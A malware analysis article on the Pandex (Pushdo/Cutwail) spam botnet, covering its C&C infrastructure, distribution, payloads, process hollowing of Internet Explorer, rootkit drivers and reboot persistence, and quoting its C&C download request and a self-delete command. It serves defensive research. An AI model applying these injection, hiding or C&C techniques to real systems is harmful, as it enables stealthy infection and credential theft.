Pandex: the botnet that could

As early as January 2007, malware known variously as Pandex, Pushdo or Cutwail began to circulate [1]. Throughout this paper, we will refer to this malware as Pandex (Note: The aforementioned names are often used interchangeably to describe both the trojan downloader and the spam/botnet components [which are always installed].) Pandex has been clogging mailboxes with unwanted spam for over a year, and more recently it has become a conduit for criminals to install their malicious code. As a result, it is more appropriate to classify Pandex as a ‘malware operation’ than as a single threat.

Pandex has attracted very little attention from the media and generated little discussion between malware researchers and among the general populace. Perhaps this is due to the spotlight being on more ‘prolific’ threats such as the infamous Storm worm. Alternatively, the relatively low profile of Pandex could be attributed to the constantly changing code and insidious properties that it encompasses. The goal of this analysis is to provide an overview of the Pandex operation and take an in-depth look at the underlying code that has allowed this malware to evade detection for so long.

Pandex utilizes a system of redundant command and control (C&C) servers in order to carry out its malicious operations. The initial installer (trojan downloader) is programmed to be able to communicate with multiple command and control servers, as shown in Figure 1. If the first choice of server is not available or is no longer active, then Pandex will attempt to connect to the next IP address on the list. The list typically consists of six servers.

Figure 1. Decrypted hard-coded C&C server IP addresses.

To further ensure reliability, Pandex C&C servers are typically found operating on three or more ASNs (asynchronous networks). By utilizing this type of infrastructure, the malware author(s) and bot herders have provided for uninterrupted operation, just as in any mission-critical system.

Beginning in late February 2007, the trojan downloader component of Pandex (the initial installer) began to use an HTTP GET request that looked similar to this:

http://[ipaddress]/s_16_167772451?m=3&r=1&a=1&os=9400000005000000000000009

This request instructs the controlling server to download a stream of data which includes additional PE files, spam templates and the email addresses to which the spam will be delivered. Additionally, this request passes back to the controlling server(s) information that has been collected from the infected host, such as the victim’s IP address, hard drive serial number, file system type and operating system version [2]. Data such as this is used not only to identify the bots, but also to keep a very precise count of the number of infected hosts.

Simply by querying our CWSandbox database for network traffic containing the string ‘_s’, we were able to reveal 16 unique Pandex C&C servers in use during an eight-month period, all of which were located in the United States [3]. While none of these servers are in operation at the time of writing this article, it is of significance that several of them remained in operation during the entire eight-month period. Why these servers remained active for so long is a question for debate, but it could indicate that the service providers were cooperating with the bot herders on various levels. Alternatively, it could have been pure oversight.

Of course, Pandex is still alive and kicking today, but it has moved on to using a completely different set of hard-coded C&C server addresses with which to communicate.

When traversing the main directory (home page) of a Pandex C&C server, we are presented with a piece of humour from the bot herder, as shown in Figure 2. The quote ‘Looking for blackjack and hookers?’ comes from the character Bender Bending Rodriguez in the cartoon show Futurama [4]. This ‘calling card’ of sorts is displayed on the majority of Pandex C&C servers. Perhaps the bot herder was influenced by a scene from the movie Bender’s Big Score where the Futurama crew returns to Earth and receives hundreds of spam messages after being duped into revealing their email addresses to scammers [5]. In short, one of the messages in Bender’s inbox contains a virus which he is tricked into opening because the message promises the opportunity to ‘Get RICH Watching porn’. One of the scammers/spammers later remarks ‘I knew there was a robot stupid enough to download the obedience virus’. While not of direct relevance to the malware in question, titbits of information such as this can be important when one is trying to build a profile of the author(s) behind the malware and/or the controllers of the botnet.

Figure 2. Calling-card-type message left on each Pandex C&C server.

More recently, some Pandex C&C servers have been displaying the image shown in Figure 3. The new image appears to be a message from the bot herder stating that malicious activities such as spamming and malware are all part of the Web 2.0 ‘movement’ [6].

Figure 3. ‘Web 2.0’ image now appearing on some Pandex C&C server home pages.

The initial Pandex installer has been distributed heavily through virtually all well known malware-loading groups, including IFrameDollars, VxGame, Loads.cc, the ‘n404 exploit gang’ and others. On occasion, there are also spam runs with the trojan downloader masquerading as ‘hot pictures of girls’ or other adult-oriented material. These spam runs are generated by the Pandex botnet itself and are typically short lived. The fact that they are short lived may be a tactic used by the bot herder/malware author to avoid drawing too much attention to their operation – unlike the rival Storm worm which is massively distributed and has a very high media profile.

As mentioned earlier, Pandex should be viewed as a malware operation rather than a single threat. In addition to its spamming capability, the Pandex botnet has become a conduit for installing other, unrelated malware – and lots of it. It is likely that the bot herder is accepting payment from other malware authors/distributors to install their malicious code.

The most common malware family to appear via the Pandex botnet is a variant of Backdoor.Win32.Small.lu (a.k.a. Wsnpoem), which is typically used to steal credentials for banking websites and financial institutions, as well as other sensitive information [7]. This type of activity is not typically seen (although it has occurred) with the Storm worm and could indicate that the Pandex botnet has a large number of reliable hosts onto which to push this additional malware.

Upon infection, the trojan downloader component is copied to the C:\Windows\Temp directory as ‘startdrv.exe’. Startdrv.exe is launched from the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run key. It performs its work in a convoluted fashion by kicking off threads one after the other, perhaps to obfuscate its execution as much as possible.

For example, the main thread primarily sets up its function address table by performing dynamic LoadLibrary calls on the set of functions it needs. Once the main thread has finished its work, it starts up a second thread using the CreateThread API with the startup routine set to an arbitrary address. As the thread is started in a suspended state, no real execution takes place on the second thread. Then the main thread calls the GetThreadContext API on the second thread with the following input parameters:

After calling the GetThreadContext API, it sets the eax field of the CONTEXT structure to a valid address and calls the SetThreadContext API on the handle for the second thread, leaving other field values in the CONTEXT structure the same as returned from the previous call to the GetThreadContext API. In this step, by correcting the invalid initial startup address of the second thread, it clearly exhibits a twisted execution flow. Then it calls the ResumeThread API on the second thread to get it rolling.

After resuming execution of the second thread, the main thread calls SuspendThread on itself, and moves out of the way. The second thread creates a heap region where it unravels the code for execution and associated data for a third thread, which is started in a suspended state in just the same way as the second thread, as explained earlier.

Once the startup routine for the third thread is ready in the heap region, the second thread resumes execution of the third thread before suspending itself. The third thread spawns a new instance of the Internet Explorer (iexplore.exe) process using the CreateProcess API.

The new instance of iexplore.exe is started in a suspended state by setting the value of the dwCreationFlags input parameter of the CreateProcess API to CREATE_SUSPENDED. It then injects a whole new PE image into the suspended iexplore.exe by a series of VirtualAlloc and WriteProcessMemory calls. It also resets the ImageBaseAddress field on the Process Environment Block (PEB) of the suspended iexplore.exe such that it points to the image base (the ImageBase field in the IMAGE_OPTIONAL_HEADER structure [8]) of the newly injected PE image.

It also calls SetThreadContext on the handle of the main thread of iexplore.exe, resetting its startup routine to the entry point (the AddressOfEntryPoint field in the IMAGE_OPTIONAL_HEADER structure) of the newly injected PE image.

Finally, it resumes execution of the suspended main thread by calling ResumeThread, whereby iexplore.exe follows execution as per the injected PE image of the malware, not executing any of its original compiled code. In contrast to remote thread injection (commonly used by malware), where a new thread is injected into a running process, this technique completely usurps the execution of the victim process right from its startup. After iexplore.exe is resumed, it sends a DeviceIoControl message to one of its drivers (runtime.sys), passing in the process id of the newly created iexplore.exe to make it a hidden process.

Towards the very end startdrv.exe deletes itself using the ShellExecute API with the input command parameter ‘cmd.exe /c del C:\WINDOWS\Temp\startdrv.exe’. Let’s call the first instance of iexplore.exe IE1. After IE1 starts under the control of the injected malware PE image, connection attempts are made to the C&C servers in order to download more PEs. The Winsock connect API is called first to establish connection with a selected server. If connection succeeds, it attempts to download PE image data using an HTTP GET request sent via the Winsock send API as shown earlier.

The downloaded data actually consists of at least two PE images piggybacked together (additional images are downloaded when Pandex is being used to distribute other, unrelated malware). The size of each PE image is preceded in the first four bytes just before their respective ‘MZ’ signatures.

The first of the two PE images is written to disk in the C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp directory, with a random name generated from the string representation of the return value from the GetTickCount API. Then it is launched via the ShellExecute API. This executable contains encrypted binary data in its resource which gets decrypted in memory and then written to the C:\Windows\System32\Drivers directory in a file named runtime2.sy_.

Figure 4 shows the decryption routine applied to data stored in the resource of the first PE image. The decryption routine uses two counters, localVar1 and localVar2, for ROR and XOR on the resource data stream at virtual addresses 1001522 and 100152B respectively. Note that the most significant byte of the resDataSize variable is used as a temporary location for byte arithmetic on the resource data stream. Towards the very end, the first downloaded PE image written to disk (which is named after the return value from the GetTickCount API) deletes itself, passing in cmd.exe parameters to the ShellExecute API in the same way as startdrv.exe was deleted.

Figure 4. Decryption routine applied to resource data to get the runtime.sy_ image.

The second of the two downloaded PEs is kept in memory and is used to inject into a new instance of iexplore.exe.

The new instance of iexplore.exe, let’s call it IE2, is also launched in a suspended state using the CreateProcess API and subsequently made hidden by sending a message, with the IE2 process id as input to the DeviceIoControl API, to the runtime.sys driver. Then the virtual memory of IE2 is updated with the second PE image via a series of VirtualAlloc and WriteProcessMemory APIs.

Finally, a new thread is injected into IE2 using the CreateRemoteThread API with a startup routine as the entry point (the AddressOfEntryPoint field in the IMAGE_OPTIONAL_HEADER structure) of the injected PE image. Then IE1 moves out of the way by terminating itself, spawning IE2 which runs hidden and continually under the control of the malware-injected PE image to communicate with its C&C centres and send spam or carry out other malicious actions.

Two distinct drivers are used, both of which perform stealth rootkit activity: runtime.sys and runtime2.sys (a copy of the runtime.sy_ file). The runtime.sys driver exports its device object to user mode through symbolic link path \\.\Runtime. It implements functionality to hide a process through its IRP_MJ_DEVICE_CONTROL dispatch routine when a user-mode program calls the DeviceIoControl API with process id as the input parameter. The runtime.sys driver also hooks the IRP_MJ_DEVICE_CONTROL function of the tcpip.sys driver as shown in Figure 5. It is essentially looking for requests for IOCTL code IOCTL_TCP_QUERY_INFORMATON_EX directed to the CONNINFO101 and CONNINFO102 structures [9].

Figure 5. A portion of the TCPIP hook implemented by the runtime.sys driver.

These structures contain the local address, local port, foreign address and foreign port values of a TCP connection. The hook routine also registers an IRP completion routine [10], which hides outbound IP addresses for certain well-defined ports: port 25 for SMTP, port 80 for HTTP and all ports in the range 1000 to 3000 (see Figure 6).

Figure 6. Filtering of certain ports by the runtime.sys driver.

The runtime2.sys driver hides file system and registry keys by hooking the SSDT table and ntfs.sys driver’s IRP dispatch table. The device object is exported to user mode through symbolic link path \\.\Rntm2. The SSDT table is hooked for the NtDeleteValueKey, NtEnumerateKey, NtEnumerateValueKey, NtOpenKey and NtSetValueKey functions and the NTFS driver is hooked for the IRP_MJ_CREATE, IRP_MJ_DIRECTORY_CONTROL dispatch functions. The hidden registry keys are service entries for the runtime.sys and runtime2.sys drivers, and the hidden files are for the associated driver files.

In the DriverEntry routine of the runtime2.sys driver:

Unlike other kernel-mode malware, e.g. Rustock [12] and Sribzi [13], the revival strategy used by this malware complicates its removal. When the system is up and running with full infestation, this malware deletes all executable files and registry locations that perform the setup, but on reboot all of those locations are restored. During the shutdown phase in the IRP_MJ_SHUTDOWN dispatch routine of the runtime2.sys driver the following changes occur:

When the runtime2.sys driver loads during the boot up phase, its DriverEntry routine places startdrv.exe in the C:\WINDOWS\Temp folder by decrypting data from its embedded resource. The data in the resource of the runtime2.sys driver is encrypted in a similar way, as shown in Figure 4.

Due to its longevity and constantly changing nature, we are only able to provide analysis of one instance of the Pandex malware operation. In order to write this article we essentially needed to take a snapshot of Pandex and go from there, otherwise the analysis would never have been completed.

As we move forward into the year, it will be interesting to see what the authors/herders of Pandex have in store and what changes will be made to the malware in order for them to continue to operate in as successful a manner as they have thus far. If the past is any indication, there will be no let up in sight. Pandex will continue to evolve by incorporating new tactics to defeat detection and removal, and will continue forward with its goal of delivering spam and other malicious code en masse.